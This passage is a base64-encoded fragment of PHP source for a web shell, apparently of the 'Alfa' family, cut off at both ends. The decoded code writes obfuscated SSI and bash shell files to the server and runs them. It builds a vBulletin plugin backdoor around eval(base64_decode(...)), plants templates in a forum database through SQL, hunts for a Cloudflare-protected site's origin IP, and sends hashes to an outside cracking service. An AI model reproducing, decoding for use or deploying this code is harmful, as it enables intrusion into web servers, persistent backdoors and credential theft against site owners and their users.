RrYT0gQG15c3FsaV9xdWVyeSgkY29ubiwkcCkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJGdldHVybCA9IEBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCBgdmFsdWVgIGZyb20gIi4kX1BPU1RbJ2FsZmE2J10uInNldHRpbmcgV0hFUkUgYHZhcm5hbWVgPSdiYnVybCciKTsNCiRnZXR2YWwgPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRnZXR1cmwpOw0KJHNhdmV2YWwgPSAkZ2V0dmFsWyd2YWx1ZSddOw0KJHJlYWx1cmwgPSBwYXJzZV91cmwoJHNhdmV2YWwsUEhQX1VSTF9IT1NUKTsNCiRyZWFscGF0aCA9IHBhcnNlX3VybCgkc2F2ZXZhbCxQSFBfVVJMX1BBVEgpOw0KJHJlcyA9IGZhbHNlOw0KJEFsZmFDdXJsID0gbmV3IEFsZmFDVVJMKCk7DQppZihleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7DQppZigkZnNvY2sgPSBAZnNvY2tvcGVuKCRyZWFsdXJsLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxMCkpew0KQGZwdXRzKCRmc29jaywgIkdFVCAkcmVhbHBhdGgvZmFxLnBocCBIVFRQLzEuMVxyXG4iKTsNCkBmcHV0cygkZnNvY2ssICJIT1NUOiAkcmVhbHVybFxyXG4iKTsNCkBmcHV0cygkZnNvY2ssICJDb25uZWN0aW9uOiBjbG9zZVxyXG5cclxuIik7DQokY2hlY2sgPSBmZ2V0cygkZnNvY2spOw0KaWYocHJlZ19tYXRjaCgiLzIwMCBPSy9pIiwkY2hlY2spKXsNCiRwMSA9ICJVUERBVEUgIi4kX1BPU1RbJ2FsZmE2J10uInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZSA9JyIuc3RyX3JlcGxhY2UoIiciLCJcJyIsJHNhdmV0b2FzcykuIicgV0hFUkUgdGl0bGUgPSdmYXEnIjsNCiRrYTE9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHAxKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokcmVzID0gdHJ1ZTsNCn0NCkBmY2xvc2UoJGZzb2NrKTsNCn0NCn1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7DQokQWxmYUN1cmwtPlNlbmQoJHJlYWx1cmwuJHJlYWxwYXRoLiIvZmFxLnBocCIpOw0KJHAxID0gIlVQREFURSAiLiRfUE9TVFsnYWxmYTYnXS4idGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi5zdHJfcmVwbGFjZSgiJyIsIlwnIiwkc2F2ZXRvYXNzKS4iJyBXSEVSRSB0aXRsZSA9J2ZhcSciOw0KJGthMT0gQG15c3FsaV9xdWVyeSgkY29ubiwkcDEpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRyZXMgPSB0cnVlOw0KfQ0KaWYoJHJlcyl7DQokZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiIvc29sZXZpc2libGUucGhwIjsNCm91dHB1dCgkZmYpOw0KfWVsc2V7DQokZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiIvZmFxLnBocCI7DQokZmZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4iL3NvbGV2aXNpYmxlLnBocCI7DQplY2hvICI8Y2VudGVyPjxwPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPkZpcnN0IE9wZW4gVGhpcyBMaW5rID0+IDwvZm9udD48YSBocmVmPSciLiRmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmYuIjwvYT48YnIvPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlNlY29uZCBPcGVuIFRoaXMgTGluayA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kZmZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZmYuIjwvYT48L2NlbnRlcj48L3A+Ijt9fX0NCmVjaG8gJzwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhdXBkYXRlcGF0aCgpew0KCWlmKCRfUE9TVFsncGF0aCddIT0nJyl7DQoJCSRfU0VTU0lPTltfX0xBU1RfQ1dEX19dID0gJF9QT1NUWydwYXRoJ107DQoJfQ0KCWVjaG8oJF9TRVNTSU9OW19fTEFTVF9DV0RfX10pOw0KfQ0KZnVuY3Rpb24gYWxmYWNoZWNrZmlsZXR5cGUoKXsNCgkkcGF0aCA9ICRfUE9TVFsncGF0aCddOw0KCSRhcmcgPSAkX1BPU1RbJ2FyZyddOw0KCWlmKEBpc19maWxlKCRwYXRoLicvJy4kYXJnKSl7DQoJCWVjaG8oImZpbGUiKTsNCgl9ZWxzZXsNCgkJZWNobygiZGlyIik7DQoJfQ0KfQ0KZnVuY3Rpb24gYWxmYWNoZWNrdXBkYXRlKCl7DQoJaWYoIWlzc2V0KCRfQ09PS0lFWydhbGZhX2NoZWNrdXBkYXRlJ10pKXsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX3ZlcnNpb24iKSl7DQoJCQkkdXBkYXRlID0gbmV3IEFsZmFDVVJMKCk7DQoJCQkkanNvbiA9ICR1cGRhdGUtPlNlbmQoImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vdXBkYXRlLmpzb24iKTsNCgkJCSRqc29uID0gQGpzb25fZGVjb2RlKCRqc29uKTsNCgkJCWlmKCRqc29uKXsNCgkJCQlpZihfX0FMRkFfVkVSU0lPTl9fICE9ICRqc29uLT52ZXJzaW9uKXsNCgkJCQkJQHNldGNvb2tpZSgiYWxmYV9jaGVja3VwZGF0ZSIsICIxIiwgdGltZSgpKzg2NDAwKTsNCgkJCQkJZWNobygnPGRpdiBjbGFzcz0idXBkYXRlLWhvbGRlciI+PGRpdiBjbGFzcz0idXBkYXRlLXBhcnRuZXIiPjxkaXYgY2xhc3M9InVwZGF0ZS1jb250ZW50Ij48ZGl2IG9uQ2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoXCd1cGRhdGUtaG9sZGVyXCcpWzBdLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsiIGNsYXNzPSJ1cGRhdGUtY2xvc2UiPlg8L2Rpdj48YSBocmVmPSInLiRqc29uLT51cmwuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJGpzb24tPnRleHQuJzxicj4gVmVyc2lvbjogJy4kanNvbi0+dmVyc2lvbi4nPC9hPjwvZGl2PjwvZGl2PjwvZGl2PicpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCn0NCmZ1bmN0aW9uIGFsZmFXcml0ZVRvY2dpYXBpKCRuYW1lLCAkc291cmNlKXsNCglAY2hkaXIoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsNCglAbWtkaXIoJ2FsZmFjZ2lhcGknLDA3NTUpOw0KCV9fd3JpdGVfZmlsZSgiYWxmYWNnaWFwaS8iLiRuYW1lLCBfX2dldF9yZXNvdXJjZSgkc291cmNlKSk7DQoJQGNobW9kKCJhbGZhY2dpYXBpLyIuJG5hbWUsIDA3NTUpOw0KfQ0KZnVuY3Rpb24gYWxmYWNoZWNrY2dpKCl7aWYoc3RybGVuKGFsZmFFeCgiaWQiLGZhbHNlLHRydWUsdHJ1ZSkpPjApZWNobygib2siKTtlbHNlIGVjaG8oIm5vIik7fQ0KZnVuY3Rpb24gYWxmYXVwZGF0ZWhlYWRlcigpew0KCWlmKCFpc3NldCgkX1NFU1NJT05bInVwZGF0ZWhlYWRlcl9kYXRhIl0pKXsNCgkJJGJhc2ggPSAielpSZGI5b3dGSWF2eWE4NDlkSUdKTEswdlZ5Rk5GVG9oRVJCZ3RGZFFJUk00aEFMNDBSMlVrWXAvMzEyZ1BBUnFMcWJhWW55SWZzOHgrODVyK1V2VjA0cWhUT2gzSkdoTWVnM253YnRXbm5xZWNEVW96OCt6UEdNUUJ6R0VCUEJJRjRtWWNSQnBKTWxKRmpBOUkzR01ObStNQXZ3UFhDRlJSNU9DTWlVK3BxcUdJM3VyMDY3VzI4MGUvMWFlVEVsQ1FRazhVSmdTLzRiR09VekNWNnEwdXNadG9qdE9SVWlFaFdEZUdFRU5nRnJoVkpKZ3BTaGI4T1JaeGxCSklBQzVXQ3VOcXFIMzkzMUEvaVJBZXBhaE5RTGEyWTUrNEpKSzBacE9JUXJzTjhBbWRrZ0F0ZUZteHZZNVI4aGs0NVExVks1cTRZZmNaS3ZqRWJxZHFzakQrM0ZJRDlhY0JaaG40aWlub05TLzYyb2xPTTVVWHFRWlphemY3QXh2S3UrSm1CN2QvYmQvVzNGeWlEckVKSkVVSDlMeVFUcldFRFhLUXpoZWdBdVV0cHUwUmx1S3FJMFBnTk9OZmpqQTlDUDVwaHlxVUU5OGRMcS9SelUyK05HOTduZTZ2UnJ5Rkg3d25tbElra3hjemJCcXRsRVNHUjA2cy9OeHZpeDIzbmFodWtpL2E5ZXhBTmt2TlRiclhxL21XZkFqR0pKcEtObmV1TU1WVk92V0d3b05VNERVQWJvYnBvbktyUVJENUNFaEJ1bGJaVDRPS3EwSzlBczQ4VU1yR2Fuc1lvRjVRbDBlbXNMVHRFSzdQcWdMWVFTWWZ0bGpocHdZUTBtQzNIdnNQREFac2VaanhLYisvNzlqZlE5VmNndHlRR09IckZpZWdUN2FndWMyQU51UmdUVXlBV1JnaUM5OVhORHRtNFd4N2RlWHJMb2dMdlF0NE9Zc3owN2R1UDhpc1dVZWRCLzdzT25YYmdzOUtUMnc2Q3p4Vy8wZlg2YmFIMzVjZUd1MVNueEJ3PT0iOw0KCQkkcmVhbGRpciA9IGFkZHNsYXNoZXMoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsNCgkJYWxmYVdyaXRlVG9jZ2lhcGkoImdldGhlYWRlci5hbGZhIiwkYmFzaCk7DQoJCSRkYXRhID0gYWxmYUV4KCJjZCAneyRyZWFsZGlyfS9hbGZhY2dpYXBpJztzaCBnZXRoZWFkZXIuYWxmYSIsZmFsc2UsdHJ1ZSx0cnVlKTsNCgkJaWYoQGlzX2FycmF5KEBqc29uX2RlY29kZSgkZGF0YSx0cnVlKSkpew0KCQkJJF9TRVNTSU9OWyJ1cGRhdGVoZWFkZXJfZGF0YSJdID0gJGRhdGE7DQoJCQllY2hvICRkYXRhOw0KCQl9DQoJfWVsc2V7DQoJCWVjaG8gJF9TRVNTSU9OWyJ1cGRhdGVoZWFkZXJfZGF0YSJdOw0KCX0NCn0NCmZ1bmN0aW9uIGFsZmFzc2lTaGVsbCgpew0KYWxmYWhlYWQoKTsNCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7DQpAbWtkaXIoJ2FsZmFfc2h0bWwnLDA3NTUpOw0KQGNoZGlyKCdhbGZhX3NodG1sJyk7DQphbGZhY2dpaHRhY2Nlc3MoJ3NodG1sJyk7DQokY29kZSA9ICdyVmI5YjlzMkVQMVhya3kyMk1oc0tjdTZwdGJIMEErdnpZYkNYZXp0bDZZb1pJbVMyVkNrUUZKT3ZDWC8rNDZTckNoT25LUkJBOE9SeU9QanUzZVBSL3ZQQm9PZFdJcVVaVUNWeW5VV2tFOWpwYVQ2VEFhRDBPOU1hL1l2VFhNVGtQbktVTjNPc2hUb1JhRUMwanNsdSs5bnM0OWYza3dtZng2UFR3a0VjRXBPU1I4dUw4Rk9ub3ovK25zOG5YMzVNSjY5bjd6RitXYzI0TjE0aGpFRTFuaWFHbGhHaUtjWG5PQVRMMmxBdUlZQmo2NkRLTmYwM2hWZEp0ZXJSSUpzOFEyK0MvT1BrK2tXNmt6RUxYVm5PTHpqUTAzc0ZKSFc1OGxEU1hXd05wT0N6YXdXSnVlaHY2QlJFdnFHR1U3RFZ6eU5ZRWFqSEtiVFk1Z3VLT2UrVTAvNU9sYXNNTUFqa1pWUmhsUy9Sc3VvSGlSaFdvcllNQ2tna2N6MElKY0poVDc4eDlJZWpzUmxUb1VaeGxLZU1XckZJTVJPSWwrb3h6UXF1QkUyMUFXM1NNVERXQytWcW1mekE0YVJyb2YvL1BYU0lhY2lNd3NQOXZjWjlEYzNDOVpobjNETlo5aEhQQ3dpVTFRSHMwWDVFN2dIOEVjazRPRGxDeGRjZDFSOTROMkhHZkd1YmtPMUl4azFZMDd0NCt2VmNiSk9kMWpKN3JWUlhNYVIxV1NvS0pkUjB1dDdWNjFNUm1ZWnB6MWdpVlZpTzdLZEgycXo0blNZTUpRa1dpR1AzamVGbzl4Q0NvcjIvQTNJSEVtZEVSZzFZOTZWNzlRbERIMm5Oc0pjSml1UXdqSU95TGFOOW1LWjU1Rkk5dnJERkVNMDVrWmduc1dTUy9UZ2psdjlFWWc0RTJmWUFWQVdOR1huQmJkUm9aK3daZWpIaUVueFpYRVkrcWtVQnRZZ3oxL0c4ZUVoQ1MvaERsZkNwZS9ZYUVzYkZ6cHJGQXZiUG9kKzJXRGFaaFNRL1FPQ21jV2N4Y2lqcWNBZUZjczl5NzVTTFNCeHFiUlVvMEl5QytKVlpFYUtKaDRKeDJMSmxMUWFBQk9wYkFuZ0pzNjh3d0hUd2tJRUJKRmIyS1lhSTZ0NkE3cno2NHRYcjkvKzdqVmlGSXJXUjdsUWRtdXh0RWZicVVidHRGT0pWWC9mMHU1eG1XSy9lMlNtYitycUFoNDcwSFVUMkpKclRjaG1qTFhPQktKV0V3VE9XV0lXQVRsdzNSL1FHVklsRkd1S2xyRENWSTIzWVRHUDRyTk15VklrZzBhVzJqemV6WjU3LzMxUU5jVWJFdDlzZFkzRTh3MkgxUVd3aFVYSzBGaTZUWFVlam40VWMxMTQzVzhFVURuazFDd2tKb0tud3Vxc3kzbk9qRDB0MkxHdWo0YXRMQk5GYWNDc0NrelYwQXNNcnd0MDFFalJCSk93Z2UvRzE3RHR6WEJTQ2dSMExJRmJQdDhvL1dhQ0oxU1gzSFF5dTNsZ0xMRkkwYWh6Z3VrdjFFMk9LaVNOVmZ3WlFaVTh0NC9QU1hQOVhOQVk0andKZHJHYzFUM2tySEh3YXFsOEFYNXIxMjl6S2w1aWozVHFwS0NxYXJJYVVTQmxuT29IejJWMVJUN1NydC9KcGZYZFg5bTBSbnk2V2Y5aDlMeEtGSHJZamt3WmNleEdNUzhUMmg5MUt2eVFkUXVwNy9EdTBnTGY2OXdqdDlLd0NueVNhN2ZsTlVYMEJ4TFl0clRTTDdYMG9KRWsyRVZOckpqMXl1b25hTmYrVDNaOUkvV3RmVHJtdjlXdUhYdWwyb3ZLL3R6Nkh3PT0nOw0KQF9fd3JpdGVfZmlsZSgnYWxmYV9zc2kuc2h0bWwnLF9fZ2V0X3Jlc291cmNlKCRjb2RlKSk7DQpAY2htb2QoImFsZmFfc3NpLnNodG1sIiwwNzU1KTsNCmVjaG8gQWxmYWlGcmFtZUNyZWF0b3IoJ2FsZmFfc2h0bWwvYWxmYV9zc2kuc2h0bWwnKTsNCmVjaG8gJzwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhY2xvdWRmbGFyZSgpew0KYWxmYWhlYWQoKTsNCkFsZmFOdW0oOCw5LDEwLDcsNiw1LDQsMyk7DQplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxicj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBDbG91ZCBGbGFyZSBCeVBhc3NlciB8PC9kaXY+PGJyPjxmb3JtIGFjdGlvbj0nJyBvbnN1Ym1pdD1cImcoJ2Nsb3VkZmxhcmUnLG51bGwsdGhpcy51cmwudmFsdWUsJz4+Jyk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPg0KPHA+PGRpdiBjbGFzcz0ndHh0Zm9udCc+VGFyZ2V0OjwvZGl2PiA8aW5wdXQgdHlwZT0ndGV4dCcgc2l6ZT0zMCBuYW1lPSd1cmwnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIHBsYWNlaG9sZGVyPVwidGFyZ2V0LmNvbVwiPiA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdnbycgdmFsdWU9JyAnIC8+PC9wPjwvZm9ybT48L2NlbnRlcj4iOw0KaWYoJF9QT1NUWydhbGZhMiddICYmICRfUE9TVFsnYWxmYTInXSA9PSAnPj4nKXsNCiR1cmwgPSAkX1BPU1RbJ2FsZmExJ107DQppZighcHJlZ19tYXRjaCgnL14oaHR0cHM/KTpcL1wvKHd7M318dzMpXC4vaScsICR1cmwpKXsNCiR1cmwgPSBwcmVnX3JlcGxhY2UoJy9eKGh0dHBzPyk6XC9cLy8nLCAnJywgJHVybCk7DQokdXJsID0gImh0dHA6Ly93d3cuIi4kdXJsOw0KfQ0KJGhlYWRlcnMgPSBAZ2V0X2hlYWRlcnMoJHVybCwgMSk7DQokc2VydmVyID0gJGhlYWRlcnNbJ1NlcnZlciddOw0KJHN1YnMgPSBhcnJheSgnb3dhLicsJzJ0dHkuJywnbS4nLCdndy4nLCdteDEuJywnc3RvcmUuJywnMScsJzInLCd2Yi4nLCduZXdzLicsJ2Rvd25sb2FkLicsJ3ZpZGVvJywnY3BhbmVsLicsICdmdHAuJywgJ3NlcnZlcjEuJywgJ2Nkbi4nLCAnY2RuMi4nLCAnbnMuJywgJ25zMy4nLCAnbWFpbC4nLCAnd2VibWFpbC4nLCAnZGlyZWN0LicsICdkaXJlY3QtY29ubmVjdC4nLCAncmVjb3JkLicsICdzc2wuJywgJ2Rucy4nLCAnaGVscC4nLCAnYmxvZy4nLCAnaXJjLicsICdmb3J1bS4nLCAnZGwuJywgJ215LicsICdjcC4nLCAncG9ydGFsLicsICdrYi4nLCAnc3VwcG9ydC4nLCdzZWFyY2guJywgJ2RvY3MuJywgJ2ZpbGVzLicsICdhY2NvdW50cy4nLCAnc2VjdXJlLicsICdyZWdpc3Rlci4nLCAnYXBwcy4nLCAnYmV0YS4nLCAnZGVtby4nLCAnc210cC4nLCAnbnMyLicsICduczEuJywgJ3NlcnZlci4nLCAnc2hvcC4nLCAnaG9zdC4nLCAnd2ViLicsICdjbG91ZC4nLCAnYXBpLicsICdleGNoYW5nZS4nLCAnYXBwLicsICd2cHMuJywgJ293YS4nLCAnc2F0LicsICdiYnMuJywgJ21vdmllLicsICdtdXNpYy4nLCAnYXJ0LicsICdmdXNpb24uJywgJ21hcHMuJywgJ2ZvcnVtcy4nLCAnYWNjLicsICdjYy4nLCAnZGV2LicsICd3dzQyLicsICd3aWtpLicsICdjbGllbnRzLicsICdjbGllbnQuJywnYm9va3MuJywnYW5zd2Vycy4nLCdzZXJ2aWNlLicsJ2dyb3Vwcy4nLCdpbWFnZXMuJywndXBsb2FkLicsJ3VwLicsJ3R1YmUuJywndXNlcnMuJywnYWRtaW4uJywnYWRtaW5pc3RyYXRvci4nLCdwcml2YXRlLicsJ2Rlc2lnbi4nLCd3aG1jcy4nLCd3cC4nLCd3b3JkcHJlc3MuJywnam9vbWxhLicsJ3ZidWxsZXRpbi4nLCd0ZXN0LicsJ2RldmVsb3Blci4nLCdwYW5lbC4nLCdjb250YWN0LicpOw0KaWYocHJlZ19tYXRjaCgnL14oaHR0cHM/KTpcL1wvKHd7M318dzMpXC4vaScsICR1cmwsICRtYXRjaGVzKSl7DQppZigkbWF0Y2hlc1syXSAhPSAnd3d3Jyl7JHVybCA9IHByZWdfcmVwbGFjZSgnL14oaHR0cHM/KTpcL1wvLycsICcnLCAkdXJsKTt9ZWxzZXsNCiR1cmwgPSBleHBsb2RlKCRtYXRjaGVzWzBdLCAkdXJsKTsNCiR1cmwgPSAkdXJsWzFdO319DQppZihpc19hcnJheSgkc2VydmVyKSkkc2VydmVyID0gJHNlcnZlclswXTsNCmVjaG8gX19wcmUoKTsNCmlmKHByZWdfbWF0Y2goJy9jbG91ZGZsYXJlL2knLCAkc2VydmVyKSkNCmVjaG8gIlxuWytdIENsb3VkRmxhcmUgZGV0ZWN0ZWQ6IHskc2VydmVyfVxuPGJyPiI7DQplbHNlDQplY2hvICJcblsrXSBDbG91ZEZsYXJlIHdhc24ndCBkZXRlY3RlZCwgcHJvY2VlZGluZyBhbnl3YXkuXG4iOw0KZWNobyAnWytdIENsb3VkRmxhcmUgSVA6ICcgLiBpc19pcHY0KGdldGhvc3RieW5hbWUoJHVybCkpIC4gIlxuXG48YnI+PGJyPiI7DQplY2hvICJbK10gU2VhcmNoaW5nIGZvciBtb3JlIElQIGFkZHJlc3Nlcy5cblxuPGJyPjxicj4iOw0KZm9yKCR4PTA7JHg8Y291bnQoJHN1YnMpOyR4Kyspew0KJHNpdGUgPSAkc3Vic1skeF0gLiAkdXJsOw0KJGlwID0gaXNfaXB2NChnZXRob3N0YnluYW1lKCRzaXRlKSk7DQppZigkaXAgPT0gJyhOdWxsKScpDQpjb250aW51ZTsNCmVjaG8gIlRyeWluZyB7JHNpdGV9OiB7JGlwfVxuPGJyPiI7DQp9DQplY2hvICJcblsrXSBGaW5pc2hlZC5cbjxicj4iOw0KfQ0KZWNobyAnPC9kaXY+JzsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGlzX2lwdjQoJGlwKXsNCnJldHVybiBmaWx0ZXJfdmFyKCRpcCwgRklMVEVSX1ZBTElEQVRFX0lQLCBGSUxURVJfRkxBR19JUFY0KSA/ICRpcCA6ICcoTnVsbCknOw0KfQ0KZnVuY3Rpb24gX19hbGVydCgkcyl7DQplY2hvICc8Y2VudGVyPicuX19wcmUoKS4kcy4nPC9jZW50ZXI+JzsNCn0NCmZ1bmN0aW9uIGNyZWF0ZV90YWJsZSgkZGF0YSl7DQplY2hvICc8dGFibGUgYm9yZGVyPSIxIj4nOw0KZm9yZWFjaCAoJGRhdGEgYXMgJGtleSA9PiAkdmFsKXsNCiRhcnJheSA9IGFycmF5KCk7DQpmb3JlYWNoKCR2YWwgYXMgJGsgPT4gJHYpew0KJGFycmF5WyRrXSA9ICR2Ow0KfQ0KZWNobyAiPHRyPjx0ZD48ZGl2IGNsYXNzPSd0Ymx0eHQnPiIuJGFycmF5Wyd0ZE5hbWUnXS4iPC9kaXY+PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSciLiRhcnJheVsnaWQnXS4iJyBuYW1lPSciLiRhcnJheVsnaW5wdXROYW1lJ10uIicgIi4oJGFycmF5WydwbGFjZWhvbGRlciddPydwbGFjZWhvbGRlcic6J3ZhbHVlJykuIj0nIi4kYXJyYXlbJ2lucHV0VmFsdWUnXS4iJyBzaXplPSciLiRhcnJheVsnaW5wdXRTaXplJ10uIicgIi4oJGFycmF5WydkaXNhYmxlZCddPydkaXNhYmxlZCc6JycpLiI+PC90ZD48L3RyPiI7DQp9DQplY2hvICc8L3RhYmxlPic7DQp9DQpmdW5jdGlvbiBhbGZhcGhwMnhtbCgpew0KYWxmYWhlYWQoKTsNCkFsZmFOdW0oOCw5LDEwLDcsNiw1LDQsMyk7DQplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IFNoZWxsIEZvciB2QnVsbGV0aW4gfDwvZGl2PjwvcD48Zm9ybSBvbnN1Ym1pdD1cImcoJ3BocDJ4bWwnLG51bGwsdGhpcy5jb2RlLnZhbHVlLCc+PicpOyByZXR1cm4gZmFsc2U7XCIgbWV0aG9kPSdwb3N0Jz4NCjxwPjxicj48dGV4dGFyZWEgcm93cz0nMTInIGNvbHM9JzcwJyB0eXBlPSd0ZXh0JyBuYW1lPSdjb2RlJyBwbGFjZWhvbGRlcj1cImluc2VydCB5b3VyIHNoZWxsIGNvZGVcIj48L3RleHRhcmVhPjxici8+PGJyLz4NCjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2dvJyB2YWx1ZT0nICcgLz48L3A+PC9mb3JtPjwvY2VudGVyPiI7DQppZigkX1BPU1RbJ2FsZmEyJ10mJiRfUE9TVFsnYWxmYTInXT09Jz4+Jyl7DQplY2hvIF9fcHJlKCkuIjxwPjxjZW50ZXI+PHRleHRhcmVhIHJvd3M9JzEwJyBuYW1lPSd1c2VycycgY29scz0nODAnPiI7DQplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJJU08tODg1OS0xIj8+PHBsdWdpbnM+PHBsdWdpbiBhY3RpdmU9IjEiIHByb2R1Y3Q9InZidWxsZXRpbiI+PHRpdGxlPnZCdWxsZXRpbjwvdGl0bGU+PGhvb2tuYW1lPmluaXRfc3RhcnR1cDwvaG9va25hbWU+PHBocGNvZGU+PCFbQ0RBVEFbaWYgKHN0cnBvcygkX1NFUlZFUltcJ1BIUF9TRUxGXCddLCJzdWJzY3JpcHRpb25zLnBocCIpKXtldmFsKGJhc2U2NF9kZWNvZGUoXCcnLl9fWlc1amIyUmxjZygkX1BPU1RbJ2FsZmExJ10pLidcJykpO2V4aXQ7fV1dPjwvcGhwY29kZT48L3BsdWdpbj48L3BsdWdpbnM+JzsNCmVjaG8gJzwvdGV4dGFyZWE+PC9jZW50ZXI+PC9wPic7DQp9DQplY2hvICc8L2NlbnRlcj48L2Rpdj4nOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYWNwY3JhY2soKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEhhc2ggVG9vbHMgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnZGVjXCcpIj58IERlQ3J5cHRlciB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnY3BjcmFja1wnLG51bGwsXCdhbmFseXplclwnKSI+fCBIYXNoIEFuYWx5emVyIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsNCmlmKCRfUE9TVFsnYWxmYTEnXT09J2RlYycpew0KJGFsZ29yaXRobXMgPSBhcnJheSgnbWQ1Jz0+J01ENScsJ21kNCc9PidNRDQnLCdzaGExJz0+J1NIQTEnLCdzaGEyNTYnPT4nU0hBMjU2Jywnc2hhMzg0Jz0+J1NIQTM4NCcsJ3NoYTUxMic9PidTSEE1MTInLCdudGxtJz0+J05UTE0nKTsNCmVjaG8gJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRGVDcnlwdGVyIHw8L2Rpdj48YnI+PGJyPg0KPGZvcm0gb25zdWJtaXQ9ImcoXCdjcGNyYWNrXCcsbnVsbCxcJ2RlY1wnLHRoaXMubWQ1LnZhbHVlLFwnPj5cJyx0aGlzLmFsZy52YWx1ZSk7IHJldHVybiBmYWxzZTsiPjxkaXYgY2xhc3M9InR4dGZvbnQiPkRlY3J5cHQgTWV0aG9kOjwvZGl2PiA8c2VsZWN0IG5hbWU9ImFsZyIgc3R5bGU9IndpZHRoOjEwMHB4OyI+JzsNCmZvcmVhY2goJGFsZ29yaXRobXMgYXMgJGtleT0+JHZhbCl7ZWNobygnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciPicuJHZhbC4nPC9vcHRpb24+Jyk7fQ0KZWNobyc8L3NlbGVjdD48aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9Ikhhc2giIG5hbWU9Im1kNSIgc2l6ZT0iNjAiIGlkPSJ0ZXh0IiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPjxicj4nOw0KaWYoJF9QT1NUWydhbGZhMyddID09ICc+Picpew0KJGhhc2ggPSAkX1BPU1RbJ2FsZmEyJ107DQppZighZW1wdHkoJGhhc2gpKXsNCiRoYXNoX3R5cGUgPSAkX1BPU1RbJ2FsZmE0J107DQokZW1haWwgPSAic29sZXZpc2libGVAZ21haWwuY29tIjsNCiRjb2RlID0gIjdiOWZhNzlmOTJjM2NkOTYiOw0KJHRhcmdldCA9ICJodHRwOi8vbWQ1ZGVjcnlwdC5uZXQvQXBpL2FwaS5waHA/aGFzaD0iLiRoYXNoLiImaGFzaF90eXBlPSIuJGhhc2hfdHlwZS4iJmVtYWlsPSIuJGVtYWlsLiImY29kZT0iLiRjb2RlOw0KJHJlc3AgPSBAZmlsZV9nZXRfY29udGVudHMoJHRhcmdldCk7DQppZigkcmVzcD09Jycpew0KJGdldCA9IG5ldyBBbGZhQ1VSTCgpOw0KJHJlc3AgPSAkZ2V0LT5TZW5kKCR0YXJnZXQpOw0KfQ0KZWNobyBfX3ByZSgpLic8Y2VudGVyPic7DQpzd2l0Y2goJHJlc3Apew0KCWNhc2UoJ0NPREUgRVJSRVVSIDogMDAxJyk6ZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+WW91IGV4Y2VlZGVkIHRoZSA0MDAgYWxsb3dlZCByZXF1ZXN0IHBlciBkYXk8L2ZvbnQ+PC9iPiI7YnJlYWs7DQoJY2FzZSgnQ09ERSBFUlJFVVIgOiAwMDMnKTplY2hvICI8Yj48Zm9udCBjb2xvcj0ncmVkJz5Zb3VyIHJlcXVlc3